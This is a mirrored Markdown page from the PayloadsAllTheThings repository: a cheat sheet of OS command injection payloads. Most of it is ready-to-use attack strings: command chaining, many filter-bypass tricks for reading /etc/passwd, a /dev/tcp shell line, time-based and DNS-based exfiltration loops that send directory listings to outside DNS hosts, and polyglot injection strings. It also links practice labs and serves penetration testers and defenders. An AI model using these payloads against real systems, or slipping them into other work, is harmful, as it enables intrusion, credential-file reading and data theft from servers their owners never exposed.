mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 13:25:27 +00:00
333 lines
8.5 KiB
Markdown
333 lines
8.5 KiB
Markdown
# Command Injection
|
|
|
|
> Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
|
|
|
|
## Summary
|
|
|
|
* [Tools](#tools)
|
|
* [Exploits](#exploits)
|
|
* [Basic commands](#basic-commands)
|
|
* [Chaining commands](#chaining-commands)
|
|
* [Inside a command](#inside-a-command)
|
|
* [Filter Bypasses](#filter-bypasses)
|
|
* [Bypass without space](#bypass-without-space)
|
|
* [Bypass with a line return](#bypass-with-a-line-return)
|
|
* [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding)
|
|
* [Bypass blacklisted words](#bypass-blacklisted-words)
|
|
* [Bypass with single quote](#bypass-with-single-quote)
|
|
* [Bypass with double quote](#bypass-with-double-quote)
|
|
* [Bypass with backslash and slash](#bypass-with-backslash-and-slash)
|
|
* [Bypass with $@](#bypass-with-)
|
|
* [Bypass with $()](#bypass-with--1)
|
|
* [Bypass with variable expansion](#bypass-with-variable-expansion)
|
|
* [Bypass with wildcards](#bypass-with-wildcards)
|
|
* [Challenge](#challenge)
|
|
* [Time based data exfiltration](#time-based-data-exfiltration)
|
|
* [DNS based data exfiltration](#dns-based-data-exfiltration)
|
|
* [Polyglot command injection](#polyglot-command-injection)
|
|
* [Backgrounding long running commands](#backgrounding-long-running-commands)
|
|
* [References](#references)
|
|
|
|
|
|
## Tools
|
|
|
|
* [commix - Automated All-in-One OS command injection and exploitation tool](https://github.com/commixproject/commix)
|
|
|
|
## Exploits
|
|
|
|
### Basic commands
|
|
|
|
Execute the command and voila :p
|
|
|
|
```powershell
|
|
cat /etc/passwd
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
|
bin:x:2:2:bin:/bin:/bin/sh
|
|
sys:x:3:3:sys:/dev:/bin/sh
|
|
```
|
|
|
|
### Chaining commands
|
|
|
|
```powershell
|
|
original_cmd_by_server; ls
|
|
original_cmd_by_server && ls
|
|
original_cmd_by_server | ls
|
|
original_cmd_by_server || ls # Only if the first cmd fail
|
|
```
|
|
|
|
Commands can also be run in sequence with newlines
|
|
|
|
```bash
|
|
original_cmd_by_server
|
|
ls
|
|
```
|
|
|
|
### Inside a command
|
|
|
|
```bash
|
|
original_cmd_by_server `cat /etc/passwd`
|
|
original_cmd_by_server $(cat /etc/passwd)
|
|
```
|
|
|
|
## Filter Bypasses
|
|
|
|
### Bypass without space
|
|
|
|
Works on Linux only.
|
|
|
|
```powershell
|
|
swissky@crashlab:~/Www$ cat</etc/passwd
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
swissky@crashlab:~$ {cat,/etc/passwd}
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
|
|
swissky@crashlab:~$ cat$IFS/etc/passwd
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
|
|
swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
|
|
RCE
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
|
|
swissky@crashlab:~$ X=$'uname\x20-a'&&$X
|
|
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
|
|
|
|
swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242
|
|
```
|
|
|
|
Commands execution without spaces, $ or { } - Linux (Bash only)
|
|
|
|
```powershell
|
|
IFS=,;`cat<<<uname,-a`
|
|
```
|
|
|
|
Tabs work as separators in web apps where spaces are removed.
|
|
|
|
```powershell
|
|
;ls%09-al%09/home
|
|
drwxr-xr-x 4 root root 4096 Jan 10 13:34 .
|
|
drwxr-xr-x 18 root root 4096 Jan 10 13:33 ..
|
|
drwx------ 2 root root 16384 Jan 10 13:31 lost+found
|
|
drwxr-xr-x 4 test test 4096 Jan 13 08:30 test
|
|
```
|
|
|
|
Works on Windows only.
|
|
|
|
```powershell
|
|
ping%CommonProgramFiles:~10,-18%IP
|
|
ping%PROGRAMFILES:~10,-5%IP
|
|
```
|
|
|
|
### Bypass with a line return
|
|
|
|
```powershell
|
|
something%0Acat%20/etc/passwd
|
|
```
|
|
|
|
You can also write files.
|
|
|
|
```powershell
|
|
;cat>/tmp/hi<<EOF%0ahello%0aEOF
|
|
;cat</tmp/hi
|
|
hello
|
|
```
|
|
|
|
### Bypass characters filter via hex encoding
|
|
|
|
Linux
|
|
|
|
```powershell
|
|
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
|
/etc/passwd
|
|
|
|
swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
|
|
/etc/passwd
|
|
|
|
swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
|
|
/etc/passwd
|
|
|
|
swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
|
root:x:0:0:root:/root:/bin/bash
|
|
```
|
|
|
|
### Bypass characters filter
|
|
|
|
Commands execution without backslash and slash - linux bash
|
|
|
|
```powershell
|
|
swissky@crashlab:~$ echo ${HOME:0:1}
|
|
/
|
|
|
|
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
|
|
root:x:0:0:root:/root:/bin/bash
|
|
|
|
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
|
|
/
|
|
|
|
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
|
|
/
|
|
|
|
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
|
root:x:0:0:root:/root:/bin/bash
|
|
```
|
|
|
|
### Bypass Blacklisted words
|
|
|
|
#### Bypass with single quote
|
|
|
|
```powershell
|
|
w'h'o'am'i
|
|
```
|
|
|
|
#### Bypass with double quote
|
|
|
|
```powershell
|
|
w"h"o"am"i
|
|
```
|
|
|
|
#### Bypass with backslash and slash
|
|
|
|
```powershell
|
|
w\ho\am\i
|
|
/\b\i\n/////s\h
|
|
```
|
|
|
|
#### Bypass with $@
|
|
|
|
```powershell
|
|
who$@ami
|
|
|
|
echo $0
|
|
-> /usr/bin/zsh
|
|
echo whoami|$0
|
|
```
|
|
|
|
### Bypass with $()
|
|
```powershell
|
|
who$()ami
|
|
who$(echo am)i
|
|
who`echo am`i
|
|
```
|
|
|
|
#### Bypass with variable expansion
|
|
|
|
```powershell
|
|
/???/??t /???/p??s??
|
|
|
|
test=/ehhh/hmtc/pahhh/hmsswd
|
|
cat ${test//hhh\/hm/}
|
|
cat ${test//hh??hm/}
|
|
```
|
|
|
|
#### Bypass with wildcards
|
|
|
|
```powershell
|
|
powershell C:\*\*2\n??e*d.*? # notepad
|
|
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
|
|
```
|
|
|
|
## Challenge
|
|
|
|
Challenge based on the previous tricks, what does the following command do:
|
|
|
|
```powershell
|
|
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
|
|
```
|
|
|
|
## Time based data exfiltration
|
|
|
|
Extracting data : char by char
|
|
|
|
```powershell
|
|
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
|
real 0m5.007s
|
|
user 0m0.000s
|
|
sys 0m0.000s
|
|
|
|
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
|
real 0m0.002s
|
|
user 0m0.000s
|
|
sys 0m0.000s
|
|
```
|
|
|
|
## DNS based data exfiltration
|
|
|
|
Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
|
|
|
|
```powershell
|
|
1. Go to http://dnsbin.zhack.ca/
|
|
2. Execute a simple 'ls'
|
|
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|
```
|
|
|
|
```powershell
|
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
|
```
|
|
|
|
Online tools to check for DNS based data exfiltration:
|
|
|
|
- dnsbin.zhack.ca
|
|
- pingb.in
|
|
|
|
## Polyglot command injection
|
|
|
|
```bash
|
|
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
|
|
|
e.g:
|
|
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
|
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
|
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
|
```
|
|
|
|
```bash
|
|
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
|
|
|
e.g:
|
|
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
|
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
|
|
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
|
|
```
|
|
|
|
## Backgrounding long running commands
|
|
|
|
In some instances, you might have a long running command that gets killed by the process injecting it timing out.
|
|
|
|
Using nohup, you can keep the process running after the parent process exits.
|
|
|
|
```bash
|
|
nohup sleep 120 > /dev/null &
|
|
```
|
|
|
|
## Labs
|
|
|
|
* [OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple)
|
|
* [Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)
|
|
* [Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)
|
|
* [Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)
|
|
* [Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)
|
|
|
|
## References
|
|
|
|
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
|
|
* [Bug Bounty Survey - Windows RCE spaceless](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
|
|
* [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628)
|
|
* [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware](https://twitter.com/DissectMalware/status/1025604382644232192)
|
|
* [What is OS command injection - portswigger](https://portswigger.net/web-security/os-command-injection)
|